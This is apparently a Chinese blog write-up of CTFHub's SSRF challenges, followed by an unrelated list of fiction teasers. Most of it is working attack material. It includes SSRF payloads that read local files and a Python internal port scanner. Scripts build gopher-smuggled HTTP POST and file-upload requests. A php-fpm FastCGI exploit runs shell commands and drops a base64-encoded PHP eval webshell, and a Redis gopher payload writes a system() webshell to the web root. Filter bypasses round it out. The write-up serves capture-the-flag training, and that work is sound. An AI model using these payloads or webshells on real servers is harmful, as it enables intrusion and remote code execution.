CTFHUB Web SSRF

SSRF

[TOC]

一、内网访问

/?url=127.0.0.1/flag.php

二、伪协议读取文件

/?url=file:///var/www/html/flag.php

三、端口扫描

import requests

url = "http://challenge-ceace1a8b117cc92.sandbox.ctfhub.com:10800/?url=127.0.0.1:{}"


def scan(port):
    res = requests.get(url.format(port))
    if len(res.text) != 0:
        print(res.text)
        return True
    return False


def main():
    for port in range(8000, 9000):
        print(port)
        if scan(port):
            print("success:", port)
            break


if __name__ == '__main__':
    main()

四、POST请求

  1. 尝试直接访问flag.php,发现不允许这么访问;

    /?url=http://localhost/flag.php
    
  2. 尝试file://协议访问flag.php源码

    /?url=file:///var/www/html/flag.php
    
  3. 发现一个输入框,打开debug发现有个key的提示;

  4. 把key输入到输入框中;

  5. 需要写个提交按钮<input type='submit'>,然后点击提交(剧透:此处需要bs抓到repeater),发现被骗了不是这么提交的;

  6. 回退对文件进行源码审计

    <?php
    
    error_reporting(0);
    
    if ($_SERVER["REMOTE_ADDR"] != "127.0.0.1") { //必须内网访问
        echo "Just View From 127.0.0.1";
        return;
    }
    
    $flag=getenv("CTFHUB");
    $key = md5($flag);
    
    if (isset($_POST["key"]) && $_POST["key"] == $key) { //post提交一个key参数
        echo $flag;
        exit;
    }
    ?>
    
  7. 抓取submit请求构造Gopher HTTP协议进行内网访问

    from urllib.parse import quote
    
    
    def main():
        post = """POST /flag.php HTTP/1.1
        Host: challenge-8e9772573d6a6faa.sandbox.ctfhub.com:10800
        Content-Length: 36
        Cache-Control: max-age=0
        Upgrade-Insecure-Requests: 1
        Origin: http://challenge-8e9772573d6a6faa.sandbox.ctfhub.com:10800
        Content-Type: application/x-www-form-urlencoded
        User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.159 Safari/537.36
        Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
        Referer: http://challenge-8e9772573d6a6faa.sandbox.ctfhub.com:10800/?url=127.0.0.1/flag.php
        Accept-Encoding: gzip, deflate
        Accept-Language: zh-CN,zh;q=0.9
        Connection: close
        
        key=ecb9156afc428acd0fc0c93bc6c1f9db"""
    
        gopher = "gopher://127.0.0.1:80/_" + quote(post.replace("\n", "%0d%0a"))
        # 注意此处只需要做一次url编码,做两次会报错
        print(gopher)
    
    
    if __name__ == '__main__':
        main()
    
    /?url=gopher://127.0.0.1:80/_POST%20/flag.php%20HTTP/1.1%250d%250aHost%3A%20challenge-8e9772573d6a6faa.sandbox.ctfhub.com%3A10800%250d%250aContent-Length%3A%2036%250d%250aCache-Control%3A%20max-age%3D0%250d%250aUpgrade-Insecure-Requests%3A%201%250d%250aOrigin%3A%20http%3A//challenge-8e9772573d6a6faa.sandbox.ctfhub.com%3A10800%250d%250aContent-Type%3A%20application/x-www-form-urlencoded%250d%250aUser-Agent%3A%20Mozilla/5.0%20%28Windows%20NT%2010.0%3B%20Win64%3B%20x64%29%20AppleWebKit/537.36%20%28KHTML%2C%20like%20Gecko%29%20Chrome/92.0.4515.159%20Safari/537.36%250d%250aAccept%3A%20text/html%2Capplication/xhtml%2Bxml%2Capplication/xml%3Bq%3D0.9%2Cimage/avif%2Cimage/webp%2Cimage/apng%2C%2A/%2A%3Bq%3D0.8%2Capplication/signed-exchange%3Bv%3Db3%3Bq%3D0.9%250d%250aReferer%3A%20http%3A//challenge-8e9772573d6a6faa.sandbox.ctfhub.com%3A10800/%3Furl%3D127.0.0.1/flag.php%250d%250aAccept-Encoding%3A%20gzip%2C%20deflate%250d%250aAccept-Language%3A%20zh-CN%2Czh%3Bq%3D0.9%250d%250aConnection%3A%20close%250d%250a%250d%250akey%3Decb9156afc428acd0fc0c93bc6c1f9db
    

五、上传文件

  1. 尝试file://协议访问flag.php

    /?url=file:///var/www/html/flag.php
    
  2. 发现一个文件选择框,打开源码

    <?php
    
    error_reporting(0);
    
    if($_SERVER["REMOTE_ADDR"] != "127.0.0.1"){ //必须内网访问
        echo "Just View From 127.0.0.1";
        return;
    }
    
    if(isset($_FILES["file"]) && $_FILES["file"]["size"] > 0){
        // 上传一个size大于0的文件
        echo getenv("CTFHUB");
        exit;
    }
    ?>
    
    Upload Webshell //其实没必要
    
  3. 需要写个提交按钮<input type='submit'>,然后点击提交,并把提交请求抓到bs repeater

  4. 构造Gopher HTTP协议进行内网访问

    from urllib.parse import quote
    
    
    def main():
        post = """POST /flag.php HTTP/1.1
    Host: challenge-8296987aa5abd05a.sandbox.ctfhub.com:10800
    Content-Length: 181
    Cache-Control: max-age=0
    Upgrade-Insecure-Requests: 1
    Origin: http://challenge-8296987aa5abd05a.sandbox.ctfhub.com:10800
    Content-Type: multipart/form-data; boundary=----WebKitFormBoundarydTiC41grnGNBUik5
    User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.159 Safari/537.36
    Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
    Referer: http://challenge-8296987aa5abd05a.sandbox.ctfhub.com:10800/?url=file:///var/www/html/flag.php
    Accept-Encoding: gzip, deflate
    Accept-Language: zh-CN,zh;q=0.9
    Connection: close
    
    ------WebKitFormBoundarydTiC41grnGNBUik5
    Content-Disposition: form-data; name="file"; filename="a.txt"
    Content-Type: text/plain
    
    1
    
    ------WebKitFormBoundarydTiC41grnGNBUik5--
    """
    
        gopher = "gopher://127.0.0.1:80/_" + quote(post.replace("\n", "%0d%0a"))
        print(gopher)
    
    
    if __name__ == '__main__':
        main()
    
    /?url=gopher://127.0.0.1:80/_POST%20/flag.php%20HTTP/1.1%250d%250aHost%3A%20challenge-8296987aa5abd05a.sandbox.ctfhub.com%3A10800%250d%250aContent-Length%3A%20181%250d%250aCache-Control%3A%20max-age%3D0%250d%250aUpgrade-Insecure-Requests%3A%201%250d%250aOrigin%3A%20http%3A//challenge-8296987aa5abd05a.sandbox.ctfhub.com%3A10800%250d%250aContent-Type%3A%20multipart/form-data%3B%20boundary%3D----WebKitFormBoundarydTiC41grnGNBUik5%250d%250aUser-Agent%3A%20Mozilla/5.0%20%28Windows%20NT%2010.0%3B%20Win64%3B%20x64%29%20AppleWebKit/537.36%20%28KHTML%2C%20like%20Gecko%29%20Chrome/92.0.4515.159%20Safari/537.36%250d%250aAccept%3A%20text/html%2Capplication/xhtml%2Bxml%2Capplication/xml%3Bq%3D0.9%2Cimage/avif%2Cimage/webp%2Cimage/apng%2C%2A/%2A%3Bq%3D0.8%2Capplication/signed-exchange%3Bv%3Db3%3Bq%3D0.9%250d%250aReferer%3A%20http%3A//challenge-8296987aa5abd05a.sandbox.ctfhub.com%3A10800/%3Furl%3Dfile%3A///var/www/html/flag.php%250d%250aAccept-Encoding%3A%20gzip%2C%20deflate%250d%250aAccept-Language%3A%20zh-CN%2Czh%3Bq%3D0.9%250d%250aConnection%3A%20close%250d%250a%250d%250a------WebKitFormBoundarydTiC41grnGNBUik5%250d%250aContent-Disposition%3A%20form-data%3B%20name%3D%22file%22%3B%20filename%3D%22a.txt%22%250d%250aContent-Type%3A%20text/plain%250d%250a%250d%250a1%250d%250a%250d%250a------WebKitFormBoundarydTiC41grnGNBUik5--%250d%250a
    

六、FastCGI协议

  1. 阅读附件学习FastCGI协议,下载附件EXP并学习用法

    python fpm.py --help
    usage: fpm.py [-h] [-c CODE] [-p PORT] host file
    
    Php-fpm code execution vulnerability client.
    
    positional arguments:
      host                  Target host, such as 127.0.0.1
      file                  A php file absolute path, such as /usr/local/lib/php/System.php
    
    optional arguments:
      -h, --help            show this help message and exit
      -c CODE, --code CODE  What php code your want to execute
      -p PORT, --port PORT  FastCGI port
    
  2. 使用fpm.py

    (1)nc 开启9000端口监听

    nc -lp 9000
    

    (2)fpm.py发起fastcgi请求

    python fpm.py -c "<?php system('cat /flag*')?>" -p 9000 127.0.0.1 /var/www/html/index.php
    
  3. 构造Gopher HTTP协议进行内网访问

    from urllib.parse import quote
    import requests
    
    url = "http://challenge-a7c28f57d0db75d9.sandbox.ctfhub.com:10800/?url={}"
    
    
    def main():
        with open("cgi.txt", "rb") as file:
            content = file.read()
        # 需要做两次编码
        gopher = "gopher://127.0.0.1:9000/_" + quote(quote(content))
        res = requests.get(url.format(gopher))
        res.encoding = "UTF-8"
        print(res.text)
    
    
    if __name__ == '__main__':
        main()
    
  4. 以上方案一直有乱码,观察fpm.py生成的文件即可发现,可以直接传一个webshell上去

    python fpm.py -c "<?php system('echo -n PD9waHAgQGV2YWwoJF9HRVRbY21kXSk7ID8+Cg== | base64 -d > /var/www/html/1.php')?>" -p 9000 127.0.0.1 /var/www/html/index.php
    

七、Redis协议

  1. 这次我们使用gopherus进行协议生成,这个源码需要略微修改,或者对结果进行二次加工,因为它只进行了一次的url编码

    python gopherus.py --exploit redis
    
    1. 进行Gopher请求,写入shell
    /?url=gopher://127.0.0.1:6379/_%252A1%250D%250A%25248%250D%250Aflushall%250D%250A%252A3%250D%250A%25243%250D%250Aset%250D%250A%25241%250D%250A1%250D%250A%252434%250D%250A%250A%250A%253C%253Fphp%2520system%2528%2524_GET%255B%2527cmd%2527%255D%2529%253B%2520%253F%253E%250A%250A%250D%250A%252A4%250D%250A%25246%250D%250Aconfig%250D%250A%25243%250D%250Aset%250D%250A%25243%250D%250Adir%250D%250A%252413%250D%250A%2Fvar%2Fwww%2Fhtml%250D%250A%252A4%250D%250A%25246%250D%250Aconfig%250D%250A%25243%250D%250Aset%250D%250A%252410%250D%250Adbfilename%250D%250A%25249%250D%250Ashell.php%250D%250A%252A1%250D%250A%25244%250D%250Asave%250D%250A%250A
    
    1. 利用shell
    /shell.php?cmd=cat+/flag*
    
    1. 攻击原理就是向redis中发起以下命令
    flushall
    set 1 <?php system($_GET['cmd']); ?>
    config set dir /var/www/html
    config set dbfilename shell.php
    save
    

八、URL Bypass

/?url=http://notfound.ctfhub.com@127.0.0.1/flag.php

九、数字IP Bypass

/?url=localhost/flag.php

十、302跳转 Bypass

并没有重定向,与上题同

出于好奇翻了下flag.php的源码,确实没有重定向

<?php

error_reporting(0);

if ($_SERVER["REMOTE_ADDR"] != "127.0.0.1") {
    echo "Just View From 127.0.0.1";
    exit;
}

echo getenv("CTFHUB");

如果有重定向怎么办?

构造Gopher HTTP协议访问flag.php

/?url=gopher://localhost:80/_POST%20/flag.php%20HTTP/1.1%250D%250AHOST%3A%20localhost%3A80%250D%250A%250D%250Aa%3Da%250D%250A

十一、DNS重绑定 Bypass

  1. 查看附件,使用附件提供的网址https://lock.cmpxchg8b.com/rebinder.html?tdsourcetag=s_pctim_aiomsg

  2. 通过上述网址给出的域名访问

    /?url=7f000001.c0a80001.rbndr.us/flag.php
    
©著作权归作者所有,转载或内容合作请联系作者
  • 序言:七十年代末,一起剥皮案震惊了整个滨河市,随后出现的几起案子,更是在滨河造成了极大的恐慌,老刑警刘岩,带你破解...
    沈念sama阅读 212,718评论 6 492
  • 序言:滨河连续发生了三起死亡事件,死亡现场离奇诡异,居然都是意外死亡,警方通过查阅死者的电脑和手机,发现死者居然都...
    沈念sama阅读 90,683评论 3 385
  • 文/潘晓璐 我一进店门,熙熙楼的掌柜王于贵愁眉苦脸地迎上来,“玉大人,你说我怎么就摊上这事。” “怎么了?”我有些...
    开封第一讲书人阅读 158,207评论 0 348
  • 文/不坏的土叔 我叫张陵,是天一观的道长。 经常有香客问我,道长,这世上最难降的妖魔是什么? 我笑而不...
    开封第一讲书人阅读 56,755评论 1 284
  • 正文 为了忘掉前任,我火速办了婚礼,结果婚礼上,老公的妹妹穿的比我还像新娘。我一直安慰自己,他们只是感情好,可当我...
    茶点故事阅读 65,862评论 6 386
  • 文/花漫 我一把揭开白布。 她就那样静静地躺着,像睡着了一般。 火红的嫁衣衬着肌肤如雪。 梳的纹丝不乱的头发上,一...
    开封第一讲书人阅读 50,050评论 1 291
  • 那天,我揣着相机与录音,去河边找鬼。 笑死,一个胖子当着我的面吹牛,可吹牛的内容都是我干的。 我是一名探鬼主播,决...
    沈念sama阅读 39,136评论 3 410
  • 文/苍兰香墨 我猛地睁开眼,长吁一口气:“原来是场噩梦啊……” “哼!你这毒妇竟也来了?” 一声冷哼从身侧响起,我...
    开封第一讲书人阅读 37,882评论 0 268
  • 序言:老挝万荣一对情侣失踪,失踪者是张志新(化名)和其女友刘颖,没想到半个月后,有当地人在树林里发现了一具尸体,经...
    沈念sama阅读 44,330评论 1 303
  • 正文 独居荒郊野岭守林人离奇死亡,尸身上长有42处带血的脓包…… 初始之章·张勋 以下内容为张勋视角 年9月15日...
    茶点故事阅读 36,651评论 2 327
  • 正文 我和宋清朗相恋三年,在试婚纱的时候发现自己被绿了。 大学时的朋友给我发了我未婚夫和他白月光在一起吃饭的照片。...
    茶点故事阅读 38,789评论 1 341
  • 序言:一个原本活蹦乱跳的男人离奇死亡,死状恐怖,灵堂内的尸体忽然破棺而出,到底是诈尸还是另有隐情,我是刑警宁泽,带...
    沈念sama阅读 34,477评论 4 333
  • 正文 年R本政府宣布,位于F岛的核电站,受9级特大地震影响,放射性物质发生泄漏。R本人自食恶果不足惜,却给世界环境...
    茶点故事阅读 40,135评论 3 317
  • 文/蒙蒙 一、第九天 我趴在偏房一处隐蔽的房顶上张望。 院中可真热闹,春花似锦、人声如沸。这庄子的主人今日做“春日...
    开封第一讲书人阅读 30,864评论 0 21
  • 文/苍兰香墨 我抬头看了看天上的太阳。三九已至,却和暖如春,着一层夹袄步出监牢的瞬间,已是汗流浃背。 一阵脚步声响...
    开封第一讲书人阅读 32,099评论 1 267
  • 我被黑心中介骗来泰国打工, 没想到刚下飞机就差点儿被人妖公主榨干…… 1. 我叫王不留,地道东北人。 一个月前我还...
    沈念sama阅读 46,598评论 2 362
  • 正文 我出身青楼,却偏偏与公主长得像,于是被迫代替她去往敌国和亲。 传闻我的和亲对象是个残疾皇子,可洞房花烛夜当晚...
    茶点故事阅读 43,697评论 2 351

推荐阅读更多精彩内容